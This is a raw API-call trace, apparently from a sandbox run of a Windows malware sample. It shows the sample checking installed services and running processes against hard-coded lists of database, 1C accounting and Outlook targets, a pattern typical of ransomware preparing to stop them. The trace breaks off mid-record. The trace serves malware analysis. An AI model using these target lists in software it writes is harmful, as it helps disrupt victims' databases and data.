[0187.904] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0187.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0187.904] lstrlenW (lpString="AudioSrv") returned 8 [0187.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0187.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0187.904] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0187.904] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0187.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0187.904] lstrlenW (lpString="BFE") returned 3 [0187.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0187.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0187.904] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0187.904] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0187.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0187.904] lstrlenW (lpString="CryptSvc") returned 8 [0187.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0187.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0187.904] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0187.904] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0187.904] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0187.904] lstrlenW (lpString="CscService") returned 10 [0187.904] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0187.904] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0187.905] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0187.905] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0187.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0187.905] lstrlenW (lpString="DcomLaunch") returned 10 [0187.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0187.905] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0187.905] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0187.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0187.905] lstrlenW (lpString="Dhcp") returned 4 [0187.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0187.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0187.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0187.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0187.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0187.905] lstrlenW (lpString="Dnscache") returned 8 [0187.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0187.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0187.905] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0187.905] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0187.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0187.905] lstrlenW (lpString="DPS") returned 3 [0187.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0187.905] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0187.905] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0187.905] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0187.905] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0187.905] lstrlenW (lpString="eventlog") returned 8 [0187.905] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0187.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0187.906] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0187.906] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0187.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0187.906] lstrlenW (lpString="EventSystem") returned 11 [0187.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0187.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0187.906] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0187.906] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0187.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0187.906] lstrlenW (lpString="gpsvc") returned 5 [0187.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0187.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0187.906] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0187.906] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0187.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0187.906] lstrlenW (lpString="iphlpsvc") returned 8 [0187.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0187.906] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0187.906] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0187.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0187.906] lstrlenW (lpString="LanmanServer") returned 12 [0187.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0187.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0187.906] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0187.906] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0187.906] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0187.906] lstrlenW (lpString="LanmanWorkstation") returned 17 [0187.906] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.906] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0187.907] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0187.907] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0187.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0187.907] lstrlenW (lpString="lmhosts") returned 7 [0187.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0187.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0187.907] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0187.907] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0187.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0187.907] lstrlenW (lpString="MMCSS") returned 5 [0187.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0187.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0187.907] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0187.907] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0187.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0187.907] lstrlenW (lpString="MpsSvc") returned 6 [0187.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0187.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0187.907] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0187.907] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0187.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0187.907] lstrlenW (lpString="Netman") returned 6 [0187.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0187.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0187.907] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0187.907] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0187.907] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0187.907] lstrlenW (lpString="netprofm") returned 8 [0187.907] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0187.907] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0187.907] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0187.907] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0187.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0187.908] lstrlenW (lpString="NlaSvc") returned 6 [0187.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0187.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0187.908] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0187.908] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0187.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0187.908] lstrlenW (lpString="nsi") returned 3 [0187.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0187.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0187.908] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0187.908] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0187.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0187.908] lstrlenW (lpString="PcaSvc") returned 6 [0187.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0187.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0187.908] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0187.908] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0187.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0187.908] lstrlenW (lpString="PlugPlay") returned 8 [0187.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0187.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0187.908] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0187.908] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0187.908] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0187.908] lstrlenW (lpString="Power") returned 5 [0187.908] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0187.908] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0187.908] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0187.908] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0187.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0187.909] lstrlenW (lpString="ProfSvc") returned 7 [0187.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0187.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0187.909] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0187.909] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0187.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0187.909] lstrlenW (lpString="RpcEptMapper") returned 12 [0187.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0187.909] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0187.909] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0187.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0187.909] lstrlenW (lpString="RpcSs") returned 5 [0187.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0187.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0187.909] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0187.909] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0187.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0187.909] lstrlenW (lpString="SamSs") returned 5 [0187.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0187.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0187.909] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0187.909] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0187.909] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0187.909] lstrlenW (lpString="Schedule") returned 8 [0187.909] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0187.909] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0187.909] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0187.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0187.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0187.910] lstrlenW (lpString="SENS") returned 4 [0187.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0187.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0187.910] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0187.910] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0187.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0187.910] lstrlenW (lpString="ShellHWDetection") returned 16 [0187.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0187.910] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0187.910] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0187.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0187.910] lstrlenW (lpString="Spooler") returned 7 [0187.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0187.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0187.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0187.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0187.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0187.910] lstrlenW (lpString="SysMain") returned 7 [0187.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0187.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0187.910] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0187.910] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0187.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0187.910] lstrlenW (lpString="Themes") returned 6 [0187.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0187.910] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0187.910] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0187.910] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0187.910] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0187.910] lstrlenW (lpString="TrkWks") returned 6 [0187.910] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0187.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0187.911] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0187.911] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0187.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0187.911] lstrlenW (lpString="UxSms") returned 5 [0187.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0187.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0187.911] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0187.911] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0187.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0187.911] lstrlenW (lpString="VSS") returned 3 [0187.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0187.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0187.911] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0187.911] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0187.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0187.911] lstrlenW (lpString="WdiServiceHost") returned 14 [0187.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0187.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0187.911] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0187.911] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0187.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0187.911] lstrlenW (lpString="WdiSystemHost") returned 13 [0187.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0187.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0187.911] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0187.911] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0187.911] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0187.911] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0187.911] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0187.911] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0187.911] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0187.911] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0187.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0187.912] lstrlenW (lpString="Winmgmt") returned 7 [0187.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0187.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0187.912] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0187.912] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0187.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0187.912] lstrlenW (lpString="WPDBusEnum") returned 10 [0187.912] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0187.912] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0187.912] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0187.912] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0187.912] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0187.912] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6b5c80 | out: hHeap=0x5c0000) returned 1 [0187.912] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d8 [0187.914] Process32FirstW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.914] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x52, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0187.915] lstrlenW (lpString="System") returned 6 [0187.915] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0187.915] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0187.915] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0187.915] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0187.915] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0187.915] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0187.915] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0187.915] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0187.915] lstrlenW (lpString="smss.exe") returned 8 [0187.915] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0187.915] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0187.915] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0187.915] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0187.915] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0187.915] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0187.915] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0187.915] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.916] lstrlenW (lpString="csrss.exe") returned 9 [0187.916] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0187.916] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0187.916] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0187.916] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0187.916] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0187.916] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0187.916] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0187.916] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0187.916] lstrlenW (lpString="wininit.exe") returned 11 [0187.916] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0187.916] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0187.916] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0187.916] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0187.916] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0187.916] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0187.917] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0187.917] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0187.917] lstrlenW (lpString="csrss.exe") returned 9 [0187.917] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0187.917] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0187.917] lstrlenW (lpString="winlogon.exe") returned 12 [0187.917] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0187.918] lstrlenW (lpString="services.exe") returned 12 [0187.918] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0187.918] lstrlenW (lpString="lsass.exe") returned 9 [0187.918] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0187.918] lstrlenW (lpString="lsm.exe") returned 7 [0187.918] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0187.919] lstrlenW (lpString="svchost.exe") returned 11 [0187.919] Process32NextW (in: hSnapshot=0x1d8, lppe=0x23cfd34 | out: lppe=0x23cfd34*(dwSize=0x22c, cntUsage=0x0, 